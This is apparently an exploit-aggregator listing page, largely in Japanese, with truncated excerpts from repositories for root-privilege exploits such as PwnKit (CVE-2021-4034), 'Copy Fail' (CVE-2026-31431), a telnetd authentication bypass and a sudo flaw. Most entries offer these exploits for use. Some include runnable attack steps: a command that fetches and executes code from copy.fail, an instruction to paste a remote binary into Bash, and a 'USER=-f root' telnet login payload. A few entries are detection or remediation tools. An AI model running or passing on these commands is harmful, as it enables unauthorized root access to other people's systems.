FortiSandbox-RCE-Exploit-CVE-2026-39808

FortiSandbox RCE スキャナー — CVE-2026-39808 Fortinet FortiSandbox における認証不要の root 権限 OS コマンドインジェクション 脆弱性 • インストール • 使用方法 • 動作原理 • パイプライン • Shodan ダーク • 免責事項 脆弱性 CVE-2026-39808 は、Fortinet FortiSandbox における深刻な認証不要の OS コマンドインジェクション脆弱性です。/fortisandbox/job-detail/tracer-behavior API エンドポイントは jid...

CVE-2021-4034

CVE-2021-4034 もちろんオリジナルではありません。何が起きているのかを理解するために作り直しました。脆弱性の発見の功績は https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt に帰属します。 このsploitzの理解に役立った他のPoC: https://github.com/berdav/CVE-2021-4034 https://github.com/ryaagard/CVE-2021-4034 ビルド root@kitploit: make sploitz root@kitploit: ❯ ./main...

CVE-2021-4034

CVE-2021-4034 ルートに昇格するためのシンプルなPWNKITファイル。| 教育目的のみ。 これは何か？ 事前に作成・圧縮済みのPWNKITです。 なぜ？ 私はPWNKITを自動化するスクリプト（AUTO-PWNKIT）に取り組んでおり、このリポジトリを使用します。 AutoPwnkitツール AutoPwnkit: https://github.com/x04000/AutoPwnkit クレジット このスクリプトは https://github.com/berdav/CVE-2021-4034 によって作成されました。...

CVE-2021-4034

CVE-2021-4034 エクスプロイト 使用方法 root@kitploit: $ git clone https://github.com/whokilleddb/CVE-2021-4034 $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root 暫定パッチ root@kitploit: chmod 075...

CVE-2026-31431

CVE-2026-31431 — AFALG を介したローカル権限昇格 2026-04-29 — このエクスプロイトをMyDigitalLife フォーラム で公開した翌日に公開します。 Python は不要で、C で記述され、以下を使用して可能な限り小さくコンパイルされています: root@kitploit: musl-gcc -static -Os -o exploit exploit.c -s 重大な脅威です。エクスプロイトバイナリは依存関係なしでコンパイルされており、任意の Linux システムで脆弱性のテストに使用できます。 CVE-2026-31431 は、NIST が確認し...

copy-fail

Copy Fail PoC CVE=2026-31431 の概念実証 これらのスクリプトは、任意の一般ユーザーを root に昇格させます。 ほとんどの Linux ディストリビューションと CPU で動作します。 技術的な解説は https://copy.fail を参照してください。...

CVE-2021-4034

CVE-2021-4034 polkit権限昇格エクスプロイトのためのワンデイ make を実行し、./cve-2021-4034 を実行するだけで、rootシェルを手に入れられます。 実際の作者による元のアドバイザリはこちらです。 PoC エクスプロイトが成功すると、すぐにrootシェルが取得できます: root@kitploit: localuser@ubuntu-poc:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-403...

CVE-2021-4034

CVE-2021-4034 エクスプロイト PwnKit 脆弱性のルートエクスプロイト。元のレポートは こちら を確認してください。 このエクスプロイトは、対象システムの所有者の明示的な許可を得て使用してください。 ビルド libc 以外の依存関係は不要です。make を実行するだけです。 実行 オプションなしで実行すると、エクスプロイトが実行されます: root@kitploit: linux@linux $ ./exploit ----------------------------------------------------------------------------- \...

CVE-2026-24061

GNU InetUtils telnetd 引数インジェクションによる認証バイパス CVE-2026-24061 2026年1月、GNU InetUtils の GNU telnetd サービスが、Kyu Neushwaistein 別名 Carlos Cortes Alvarez によって認証バイパスに対して脆弱であることが発見されました。CVE-2026-24061 として追跡されているこの欠陥により、攻撃者は有効な認証情報を提供せずに Telnet セッションを確立し、対象システムへの不正アクセスを取得できます。この脆弱性は GNU telnetd サービスのバージョン 2.7-2...

CVE-2021-4034

CVE-2021-4034 https://raw.githubusercontent.com/hackingyseguridad/CVE-2021-4034/main/binario RAWコンテンツをコピーしてBashシェルコンソールに貼り付けます: CVE-2021-4034 脆弱性 深刻度7.8 日付2021年11月18日、Polkitのpkexecコンポーネントに存在 https://gitlab.freedesktop.org/polkit/polkit/ 影響を受けるpolkitのバージョン: 0.92, 0.93, 0.94, 0.95, 0.96, 0.97, 0.98...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash 使用例: root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

cpanel-cve-2026-41940-fix

cpanel-cve-2026-41940-fix CVE-2026-41940 および nuclear.x86 ボットネットキャンペーンを介して侵害された cPanel/WHM サーバー向けのワンショット検出・修復ツール。 これは何か 2026年4月28日 、cPanel は 11.40 以降のすべてのサポート対象 cPanel & WHM バージョン に影響する 事前認証 の認証バイパス脆弱性（CVE-2026-41940、CVSS 9.8）を開示しました。ポート 2087 への単一の HTTP リクエストにより、認証されていない攻撃者が user=root セッションを注入し、WH...

Pack2TheRoot

CVE-2026-41651 - Pack2TheRoot 漏洞 概述 CVE-2026-41651，又称 Pack2TheRoot 漏洞，是一个影响某些 Linux 系统的严重安全缺陷。它允许攻击者提升权限，可能获得 root 访问权限或危及系统安全。该漏洞因其能够绕过常规安全限制而尤为严重。 影响 权限提升：非特权用户可能以 root 身份执行操作。系统沦陷：若被利用，可能导致系统完全沦陷。安全风险：对受影响系统而言属于高风险漏洞，需要立即处理。 受影响系统 该漏洞主要影响具有特定 Pack2 软件包配置的系统。用户应核验自身环境以确定是否受影响。 缓解措施 更新软件：应用来自...

CVE-2025-32463

CVE-2025-32463 影響を受けるバージョン: sudo 1.9.14、1.9.15、1.9.16、1.9.17 - 修正済みバージョン: sudo 1.9.17p1以降 - 1.9.14より古いレガシーバージョンは影響を受けません。--chrootオプションをサポートしていないためです。 root@kitploit: getroot.sh と getroot.py は同じことを行います。 git clone https://github.com/shazed-x/CVE-2025-32463 cd CVE-2025-32463 ./getroot.sh...

cve-2026-31431

CVE-2026-31431（Copy Fail）テスト このリポジトリには、アクションランナーがCVE-2026-31431の影響を受けるかどうかをテストするためのGitHub Actionsワークフローファイルが含まれています。 自分でテストを行うこともできます。このテンプレートを使用してリポジトリを作成し、test.ymlワークフローを手動でトリガーしてください（onフィールドをテスト対象に変更することを忘れないでください）。 結論だけ教えてもらえますか？ はい、2026年4月30日10:43（UTC+8）にubuntu-latestイメージに基づく公式ランナーで実行しました。 結...

CVE-2026-20131

CVE-2026-20131 — Cisco Secure FMC リモートコード実行（Java デシリアライゼーション） 深刻度: Critical（CVSS 3.1: 10.0 ） CWE: CWE-502 — 信頼されないデータのデシリアライゼーション 影響を受ける製品: Cisco Secure Firewall Management Center FMC Software アドバイザリ: cisco-sa-fmc-rce-NKhnULJh バグ ID: CSCwt14636 概要 Cisco Secure Firewall Management Center FMC...

CVE-2025-32463

CVE-2025-32463 - セットアップおよび実行ガイド これは、悪意のあるエクスプロイトをNucleiテンプレートに移植して、非侵入型の脆弱性スキャンを実施しつつ、根本的な問題を実証するという初めての試みです。 このプロセスを学習演習として、より詳細に文書化しました。 私が直面した主な課題は以下のとおりです： 元のエクスプロイトコードを、元のエクスプロイトのようにルートシェルを取得せずに特権昇格を効果的にテストできる安全なものに変更する方法。...

CVE-2026-24061

CVE-2026-24061 复现步骤 构建镜像 root@kitploit: docker build -t telnetd-bypass . 启动容器 root@kitploit: docker run -it --rm \ --name telnetd-vuln \ --privileged \ -p 23:23 \ telnetd-bypass 发送payload root@kitploit: USER='-f root' telnet -a 127.0.0.1 23 返回 root@kitploit: Trying 127.0.0.1... Connected to...

CVE-2021-4034

CVE-2021-4034 polkit権限昇格エクスプロイトのためのワンデイ make を実行し、./cve-2021-4034 を実行するだけで、rootシェルを手に入れられます。 実際の作者による元のアドバイザリはこちらです。 PoC エクスプロイトが成功すると、すぐにrootシェルが取得できます: root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-40...

CVE-2026-24516-DigitalOcean-RCE

CVE-2026-24516-DigitalOcean-RCE DigitalOcean Droplet Agent v1.3.2 以前における、認証前の重大なルート権限 RCE（CVSS 10.0）を、コマンドインジェクションにより引き起こす脆弱性。 CVE-2026-24516: DigitalOcean Droplet Agent における認証前のルート権限 RCE 概要 DigitalOcean Droplet Agent （1.3.2 以前の全バージョン）において、重大なコマンドインジェクションの脆弱性が発見されました。この欠陥により、攻撃者は認証なしでルート権限...